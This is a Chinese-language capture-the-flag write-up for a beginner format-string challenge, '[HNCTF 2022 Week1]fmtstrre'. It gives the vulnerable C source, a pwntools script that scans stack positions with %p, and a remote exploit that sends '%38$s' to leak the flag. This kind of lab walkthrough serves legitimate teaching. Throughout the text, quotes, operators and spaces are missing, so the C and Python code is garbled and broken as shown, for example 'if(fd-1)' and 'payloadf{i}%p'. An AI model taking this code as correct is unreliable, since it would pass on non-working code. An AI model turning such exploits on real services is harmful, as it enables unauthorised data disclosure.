[HNCTF 2022 Week1]fmtstrre

发布时间:2026/10/7 8:18:44
[HNCTF 2022 Week1]fmtstrre 格式化字符串漏洞利用读取特定地址内容原思路的wp地址https://www.nssctf.cn/note/set/13425里面有讲解位置参数的用法平台NSSCTF方向Pwn知识点格式化字符串难度入门一、信息获取可以先checksec一下NX、SHSTK 和 IBT 都开着但它们限制的是在栈上执行代码、篡改返回地址和间接跳转。这题只是用格式化字符串读取栈上已有的 flag 指针不劫持控制流所以这三项不影响。二、分析#includestdio.hcharname[0x30];intkey;intmain(){setbuf(stdin,0);setbuf(stderr,0);setbuf(stdout,0);puts(Welcome to the world of fmtstr);puts( );intfdopen(flag,0);if(fd-1){perror(Open failed.);}read(fd,name,0x30);size_t*pointername;charbuf[0x100];puts(Input your format string.);read(0,buf,0x100);puts(Ok.);printf(buf);}先分析源代码程序把flag读进全局变量name又把name的地址存进栈上的pointer。printf(buf)存在格式化字符串漏洞。用%n$s会把这一格当成字符串指针顺着它读出name里的flag。我们需要找到pointer是第几个参数在哪里#先在本地执行确定位置frompwnimport*elfcontext.binaryELF(./ezfmt)rprocess(./ezfmt)#扫栈payloadbforiinrange(1,50):payloadf{i}%p\n.encode()#%p 把那个参数当成指针的数值打印出来r.sendlineafter(bInput your format string.,payload)r.interactive()输出结果和ida中name的地址0x4040c0对应一下可得pointer为第38个参数所以位置指示符应38$三、EXPfrompwnimport*context.log_leveldebugioremote(...)io.recvuntil(bInput your format string.)io.sendline(b%38$s)io.interactive()可得flag四、总结这题的突破口是栈上的pointer。程序把 flag 读进全局变量name又把name的地址存进pointer随后直接printf(buf)。格式串可控第 38 个参数正好是这个指针。